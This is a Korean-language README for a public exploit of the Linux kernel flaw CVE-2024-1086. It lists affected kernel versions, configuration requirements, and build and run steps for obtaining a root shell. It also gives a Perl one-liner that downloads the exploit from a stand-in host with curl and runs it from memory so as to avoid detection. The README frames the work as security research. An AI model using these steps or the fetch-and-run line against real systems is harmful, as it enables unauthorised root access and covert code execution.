
CVE-2024-1086를 대상으로 하는 범용 로컬 권한 상승 익스플로잇으로, Linux 커널 v5.14부터 v6.6까지를 대상으로 합니다. KernelCTF에서 99.4%의 성공률로 루트 셸을 제공합니다. 은밀함을 위해 파일리스 실행을 포함합니다.
CVE-2024-1086를 위한 범용 로컬 권한 상승 개념 증명 익스플로잇으로, v5.14부터 v6.6 사이의 대부분의 Linux 커널에서 작동하며 Debian, Ubuntu, KernelCTF를 포함합니다. KernelCTF 이미지에서 성공률은 99.4%입니다.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
익스플로잇에 대한 전체 분석(배경 정보 및 많은 유용한 다이어그램 포함)은 Flipping Pages 블로그 포스트에서 확인할 수 있습니다.
이 익스플로잇은 v5.14(포함)부터 v6.6(포함)까지의 버전에 영향을 미치며, 패치된 브랜치 v5.15.149>, v6.1.76>, v6.6.15>는 제외됩니다. 이 버전들에 대한 패치는 2024년 2월에 릴리스되었습니다. 기본 취약점은 v3.15부터 v6.8-rc1까지의 모든 버전(패치된 안정 브랜치 제외)에 영향을 미칩니다.
주의사항:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y가 설정된 v6.4> 커널(우분투 v6.5 포함)에서는 작동하지 않습니다.CONFIG_USER_NS=y), 해당 사용자 네임스페이스가 비특권 모드여야 하며(sh 명령 sysctl kernel.unprivileged_userns_clone = 1), nf_tables가 활성화되어 있어야 합니다(kconfig CONFIG_NF_TABLES=y). 기본적으로 Debian, Ubuntu, KernelCTF에서는 모두 활성화되어 있습니다. 다른 배포판은 테스트되지 않았지만 작동할 수 있습니다. 또한 이 익스플로잇은 x64/amd64에서만 테스트되었습니다.기본값은 로컬 셸이 있는 Debian, Ubuntu, KernelCTF에서 즉시 작동해야 합니다. 테스트되지 않은 설정/배포판에서는 kconfig 값이 대상 커널과 일치하는지 확인하십시오. 이 값들은 src/config.h에서 지정할 수 있습니다. 물리 메모리가 32GiB를 초과하는 시스템에서 익스플로잇을 실행하는 경우 CONFIG_PHYS_MEM을 늘리십시오.
SSH(테스트 머신으로) 또는 리버스 셸을 통해 익스플로잇을 실행하는 경우 불필요한 네트워크 활동을 피하기 위해 CONFIG_REDIRECT_LOG를 1로 설정할 수 있습니다.
이 방법이 적합하지 않은 경우 기본 설정으로 컴파일된 x64 바이너리가 있습니다.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
바이너리: CVE-2024-1086/exploit
익스플로잇 실행은 간단합니다:
./exploit
파일 없는 실행도 지원됩니다. 탐지를 피해야 하는 모의 침투 상황에서 유용합니다. 단, 대상에 Perl이 설치되어 있어야 합니다:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
이 소프트웨어 디렉토리/폴더/리포지토리("리포지토리")에 있는 프로그램 및 스크립트("프로그램")는 교육/연구 목적으로만 게시, 개발 및 배포됩니다. 저("제작자")는 이 리포지토리의 프로그램에 대한 악의적이거나 불법적인 사용을 묵인하지 않습니다. 그 의도는 연구를 공유하는 것이지 불법 활동을 하기 위함이 아닙니다. 저는 이 리포지토리의 프로그램을 사용하여 발생하는 모든 행위에 대해 법적 책임을 지지 않습니다.